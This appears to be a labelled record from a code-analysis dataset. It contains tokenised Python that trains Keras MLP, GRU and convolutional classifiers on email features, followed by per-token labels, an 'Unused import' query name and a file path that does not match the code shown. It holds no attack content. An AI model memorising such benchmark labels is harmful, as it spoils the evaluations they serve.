"\\u", "names_", "=_", "get", "\\u", "word", "\\u", "features_", "(_", "emails_", ",_", "nb", "\\u", "words_", "=_", "num", "\\u", "words_", ",_", "matrix", "\\u", "type_", "=_", "matrix", "\\u", "type_", ",_", "verbose_", "=_", "verbose_", ",_", "max", "\\u", "n_", "=_", "max", "\\u", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "max", "\\u", "n_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "write", "\\u", "csv_", "(_", "csvfile_", ",_", "features_", ",_", "labels_", ",_", "feature", "\\u", "names_", ",_", "verbose_", "=_", "verbose_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "info_", "(_", "info", "file_", ",_", "label", "\\u", "names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "features_", ",_", "labels_", ",_", "feature", "\\u", "names_", ",_", "label", "\\u", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "my", "\\u", "data_", "(_", "per", "\\u", "label_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "csvfile_", "=_", "'", "my", "\\u", "data\\u", "%", "s", ".", "csv", "'_", "%_", "str_", "(_", "per", "\\u", "label_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info", "file_", "=_", "'", "data\\u", "info", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "csvfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "features_", ",_", "labels_", ",_", "feature", "\\u", "names_", "=_", "read", "\\u", "csv_", "(_", "csvfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "label", "\\u", "names_", "=_", "read", "\\u", "info_", "(_", "info", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mbox", "To", "Bin", "ary", "CSV_", "(_", "'.'_", ",_", "csvfile_", ",_", "per", "Label_", "=_", "per", "\\u", "label_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", ",_", "labels_", ",_", "feature", "\\u", "names_", "=_", "read", "\\u", "csv_", "(_", "csvfile_", ")_", "#", "lega", "cy", " ", "code", " ", "etc", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "label", "\\u", "names_", "=_", "list_", "(_", "set_", "(_", "labels_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "info_", "(_", "info", "file_", ",_", "label", "\\u", "names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num", "\\u", "labels_", "=_", "max_", "(_", "labels_", ")_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "features_", ",_", "labels_", ",_", "feature", "\\u", "names_", ",_", "label", "\\u", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "sequence", "\\u", "data_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "txt", "file_", "=_", "'", "sequence", "\\u", "data", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info", "file_", "=_", "'", "data\\u", "info", ".", "txt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "txt", "file_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "features_", ",_", "labels_", "=_", "read", "\\u", "sequences_", "(_", "txt", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "label", "\\u", "names_", "=_", "read", "\\u", "info_", "(_", "info", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "emails_", "=_", "parse", "Ema", "ils_", "(_", "'.'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", ",_", "labels_", ",_", "words_", ",_", "label", "Vals_", "=_", "get", "\\u", "ker", "as", "\\u", "features_", "(_", "emails_", ",_", "as", "\\u", "matrix_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "sequences_", "(_", "txt", "file_", ",_", "features_", ",_", "labels_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "info_", "(_", "info", "file_", ",_", "label", "Vals_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "num", "\\u", "labels_", "=_", "max_", "(_", "labels_", ")_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "features_", ",_", "labels_", ",_", "label", "\\u", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "evaluate", "\\u", "mlp", "\\u", "model_", "(_", "dataset_", ",_", "num", "\\u", "classes_", ",_", "extra", "\\u", "layers_", "=_", "0_", ",_", "num", "\\u", "hidden_", "=_", "512_", ",_", "dropout_", "=_", "0.5_", ",_", "graph", "\\u", "to_", "=_", "None_", ",_", "verbose_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "X", "\\u", "train_", ",_", "Y", "\\u", "train_", ")_", ",_", "(_", "X", "\\u", "test_", ",_", "Y", "\\u", "test_", ")_", "=_", "dataset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "batch", "\\u", "size_", "=_", "32_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nb", "\\u", "epoch_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "features_", "=_", "20000_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "maxlen_", "=_", "125_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "len_", "(_", "X", "\\u", "train_", ")_", ",_", "'", "train", " ", "sequence", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "len_", "(_", "X", "\\u", "test_", ")_", ",_", "'", "test", " ", "sequence", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "X", "\\u", "train", " ", "shape", ":'_", ",_", "X", "\\u", "train_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "X", "\\u", "test", " ", "shape", ":'_", ",_", "X", "\\u", "test_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Y", "\\u", "train", " ", "shape", ":'_", ",_", "Y", "\\u", "train_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Y", "\\u", "test", " ", "shape", ":'_", ",_", "Y", "\\u", "test_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Building", " ", "model", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "model_", "=_", "Sequential_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Dense_", "(_", "num", "\\u", "hidden_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Activation_", "(_", "'", "relu", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Dropout_", "(_", "dropout_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "extra", "\\u", "layers_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "._", "add_", "(_", "Dense_", "(_", "num", "\\u", "hidden_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Activation_", "(_", "'", "relu", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Dropout_", "(_", "dropout_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "model_", "._", "add_", "(_", "Dense_", "(_", "num", "\\u", "classes_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Activation_", "(_", "'", "soft", "max", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "compile_", "(_", "loss_", "=_", "'", "categor", "ical", "\\u", "crossentropy", "'_", ",_", "optimizer_", "=_", "'", "adam", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plotter_", "=_", "Plotter", "_", "(_", "save", "\\u", "to", "\\u", "filepath_", "=_", "graph", "\\u", "to_", ",_", "show", "\\u", "plot", "\\u", "window_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "callbacks_", "=_", "[_", "plotter_", "]_", "if_", "graph", "\\u", "to_", "else_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "history_", "=_", "model_", "._", "fit_", "(_", "X", "\\u", "train_", ",_", "Y", "\\u", "train_", ",_", "nb", "\\u", "epoch_", "=_", "nb", "\\u", "epoch_", ",_", "batch", "\\u", "size_", "=_", "batch", "\\u", "size_", ",_", "verbose_", "=_", "1_", "if_", "verbose_", "else_", "0_", ",_", "show", "\\u", "accuracy_", "=_", "True_", ",_", "validation", "\\u", "split_", "=_", "0.1_", ",_", "callbacks_", "=_", "callbacks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "score_", "=_", "model_", "._", "evaluate_", "(_", "X", "\\u", "test_", ",_", "Y", "\\u", "test_", ",_", "batch", "\\u", "size_", "=_", "batch", "\\u", "size_", ",_", "verbose_", "=_", "1_", "if_", "verbose_", "else_", "0_", ",_", "show", "\\u", "accuracy_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Test", " ", "score", ":'_", ",_", "score_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Test", " ", "accu", "rac", "y", ":'_", ",_", "score_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "predictions_", "=_", "model_", "._", "predi", "ct", "\\u", "classes_", "(_", "X", "\\u", "test_", ",_", "verbose_", "=_", "1_", "if_", "verbose_", "else_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "predictions_", ",_", "score_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "evaluate", "\\u", "recurrent", "\\u", "model_", "(_", "dataset_", ",_", "num", "\\u", "classes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "X", "\\u", "train_", ",_", "Y", "\\u", "train_", ")_", ",_", "(_", "X", "\\u", "test_", ",_", "Y", "\\u", "test_", ")_", "=_", "dataset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "features_", "=_", "20000_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "maxlen_", "=_", "125_", "#", " ", "cut", " ", "texts", " ", "after", " ", "this", " ", "number", " ", "of", " ", "words", " ", "(", "amo", "ng", " ", "top", " ", "max", "\\u", "features", " ", "most", " ", "common", " ", "words", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "batch", "\\u", "size_", "=_", "32_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "len_", "(_", "X", "\\u", "train_", ")_", ",_", "'", "train", " ", "sequence", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "len_", "(_", "X", "\\u", "test_", ")_", ",_", "'", "test", " ", "sequence", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "Pad", " ", "sequence", "s", " ", "(", "samples", " ", "x", " ", "time", ")", " ", "with", " ", "maxl", "en", " ", "%", "d", "\"_", "%_", "maxlen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X", "\\u", "train_", "=_", "sequence_", "._", "pad", "\\u", "sequences_", "(_", "X", "\\u", "train_", ",_", "maxlen_", "=_", "maxlen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X", "\\u", "test_", "=_", "sequence_", "._", "pad", "\\u", "sequences_", "(_", "X", "\\u", "test_", ",_", "maxlen_", "=_", "maxlen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "X", "\\u", "train", " ", "shape", ":'_", ",_", "X", "\\u", "train_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "X", "\\u", "test", " ", "shape", ":'_", ",_", "X", "\\u", "test_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "Build", " ", "model", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "=_", "Sequential_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Embedding", "_", "(_", "max", "\\u", "features_", ",_", "128_", ",_", "input", "\\u", "length_", "=_", "maxlen_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "GRU", "_", "(_", "512_", ")_", ")_", "#", " ", "try", " ", "usi", "ng", " ", "a", " ", "GRU", " ", "inst", "ead", ",", " ", "for", " ", "fun_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Dropout_", "(_", "0.5_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Dense_", "(_", "num", "\\u", "classes_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Activation_", "(_", "'", "soft", "max", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", " ", "usi", "ng", " ", "different", " ", "optimize", "rs", " ", "and", " ", "different", " ", "optimize", "r", " ", "configs_", "\\u\\u\\uNL\\u\\u\\u_", "model_", "._", "compile_", "(_", "loss_", "=_", "'", "categor", "ical", "\\u", "crossentropy", "'_", ",_", "optimizer_", "=_", "'", "adam", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "\"", "Train", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "fit_", "(_", "X", "\\u", "train_", ",_", "Y", "\\u", "train_", ",_", "batch", "\\u", "size_", "=_", "batch", "\\u", "size_", ",_", "nb", "\\u", "epoch_", "=_", "15_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "validation", "\\u", "data_", "=_", "(_", "X", "\\u", "test_", ",_", "Y", "\\u", "test_", ")_", ",_", "show", "\\u", "accuracy_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "score_", ",_", "acc_", "=_", "model_", "._", "evaluate_", "(_", "X", "\\u", "test_", ",_", "Y", "\\u", "test_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "batch", "\\u", "size_", "=_", "batch", "\\u", "size_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "show", "\\u", "accuracy_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Test", " ", "score", ":'_", ",_", "score_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Test", " ", "accu", "rac", "y", ":'_", ",_", "acc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "score_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "evaluate", "\\u", "conv", "\\u", "model_", "(_", "dataset_", ",_", "num", "\\u", "classes_", ",_", "maxlen_", "=_", "125_", ",_", "embed", "ding", "\\u", "dims_", "=_", "250_", ",_", "max", "\\u", "features_", "=_", "5000_", ",_", "nb", "\\u", "filter_", "=_", "300_", ",_", "filter", "\\u", "length_", "=_", "3_", ",_", "num", "\\u", "hidden_", "=_", "250_", ",_", "dropout_", "=_", "0.25_", ",_", "verbose_", "=_", "True_", ",_", "pool", "\\u", "length_", "=_", "2_", ",_", "with", "\\u", "lstm", "_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "X", "\\u", "train_", ",_", "Y", "\\u", "train_", ")_", ",_", "(_", "X", "\\u", "test_", ",_", "Y", "\\u", "test_", ")_", "=_", "dataset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "batch", "\\u", "size_", "=_", "32_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nb", "\\u", "epoch_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Load", "ing", " ", "data", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "len_", "(_", "X", "\\u", "train_", ")_", ",_", "'", "train", " ", "sequence", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "len_", "(_", "X", "\\u", "test_", ")_", ",_", "'", "test", " ", "sequence", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Pad", " ", "sequence", "s", " ", "(", "samples", " ", "x", " ", "time", ")'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "X", "\\u", "train_", "=_", "sequence_", "._", "pad", "\\u", "sequences_", "(_", "X", "\\u", "train_", ",_", "maxlen_", "=_", "maxlen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X", "\\u", "test_", "=_", "sequence_", "._", "pad", "\\u", "sequences_", "(_", "X", "\\u", "test_", ",_", "maxlen_", "=_", "maxlen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "X", "\\u", "train", " ", "shape", ":'_", ",_", "X", "\\u", "train_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "X", "\\u", "test", " ", "shape", ":'_", ",_", "X", "\\u", "test_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Build", " ", "model", "...'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "model_", "=_", "Sequential_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "start", " ", "off", " ", "with", " ", "an", " ", "efficien", "t", " ", "embed", "ding", " ", "layer", " ", "whi", "ch", " ", "maps_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "our", " ", "vocab", " ", "indice", "s", " ", "int", "o", " ", "embed", "ding", "\\u", "dims", " ", "dimensions_", "\\u\\u\\uNL\\u\\u\\u_", "model_", "._", "add_", "(_", "Embedding", "_", "(_", "max", "\\u", "features_", ",_", "embed", "ding", "\\u", "dims_", ",_", "input", "\\u", "length_", "=_", "maxlen_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Dropout_", "(_", "dropout_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "add", " ", "a", " ", "Convolution", "1", "D", ",", " ", "whi", "ch", " ", "will", " ", "learn", " ", "nb", "\\u", "filter_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "word", " ", "group", " ", "filter", "s", " ", "of", " ", "size", " ", "filter", "\\u", "length", ":_", "\\u\\u\\uNL\\u\\u\\u_", "model_", "._", "add_", "(_", "Convolution", "1", "D_", "(_", "nb", "\\u", "filter_", "=_", "nb", "\\u", "filter_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "filter", "\\u", "length_", "=_", "filter", "\\u", "length_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "border", "\\u", "mode_", "=_", "'", "valid", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "activation_", "=_", "'", "relu", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "subsample", "\\u", "length_", "=_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pool", "\\u", "length_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "use", " ", "standard", " ", "max", " ", "pooling", " ", "(", "hal", "ving", " ", "the", " ", "output", " ", "of", " ", "the", " ", "previ", "ous", " ", "layer", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "._", "add_", "(_", "Max", "Pooling", "1", "D_", "(_", "pool", "\\u", "length_", "=_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "with", "\\u", "lstm", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "._", "add_", "(_", "LSTM", "_", "(_", "125_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "flat", "ten", " ", "the", " ", "output", " ", "of", " ", "the", " ", "conv", " ", "layer", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "tha", "t", " ", "we", " ", "can", " ", "add", " ", "a", " ", "vanilla", " ", "dens", "e", " ", "layer", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "._", "add_", "(_", "Flatten_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "We", " ", "add", " ", "a", " ", "vanilla", " ", "hidden", " ", "layer", ":_", "\\u\\u\\uNL\\u\\u\\u_", "model_", "._", "add_", "(_", "Dense_", "(_", "num", "\\u", "hidden_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Activation_", "(_", "'", "relu", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Dropout_", "(_", "dropout_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "project", " ", "onto", " ", "a", " ", "single", " ", "unit", " ", "output", " ", "layer", ",", " ", "and", " ", "squash", " ", "it", " ", "with", " ", "a", " ", "sigm", "oid", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "model_", "._", "add_", "(_", "Dense_", "(_", "num", "\\u", "classes_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "add_", "(_", "Activation_", "(_", "'", "soft", "max", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "model_", "._", "compile_", "(_", "loss_", "=_", "'", "categor", "ical", "\\u", "crossentropy", "'_", ",_", "optimizer_", "=_", "'", "adam", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "fit_", "(_", "X", "\\u", "train_", ",_", "Y", "\\u", "train_", ",_", "batch", "\\u", "size_", "=_", "batch", "\\u", "size_", ",_", "nb", "\\u", "epoch_", "=_", "nb", "\\u", "epoch_", ",_", "show", "\\u", "accuracy_", "=_", "True_", ",_", "validation", "\\u", "split_", "=_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "score_", "=_", "model_", "._", "evaluate_", "(_", "X", "\\u", "test_", ",_", "Y", "\\u", "test_", ",_", "batch", "\\u", "size_", "=_", "batch", "\\u", "size_", ",_", "verbose_", "=_", "1_", "if_", "verbose_", "else_", "0_", ",_", "show", "\\u", "accuracy_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'", "Test", " ", "score", ":'_", ",_", "score_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Test", " ", "accu", "rac", "y", ":'_", ",_", "score_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "predictions_", "=_", "model_", "._", "predi", "ct", "\\u", "classes_", "(_", "X", "\\u", "test_", ",_", "verbose_", "=_", "1_", "if_", "verbose_", "else_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "predictions_", ",_", "score_", "[_", "1_", "]_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
splunk/splunk-webframework/server/splunkdj/views.py
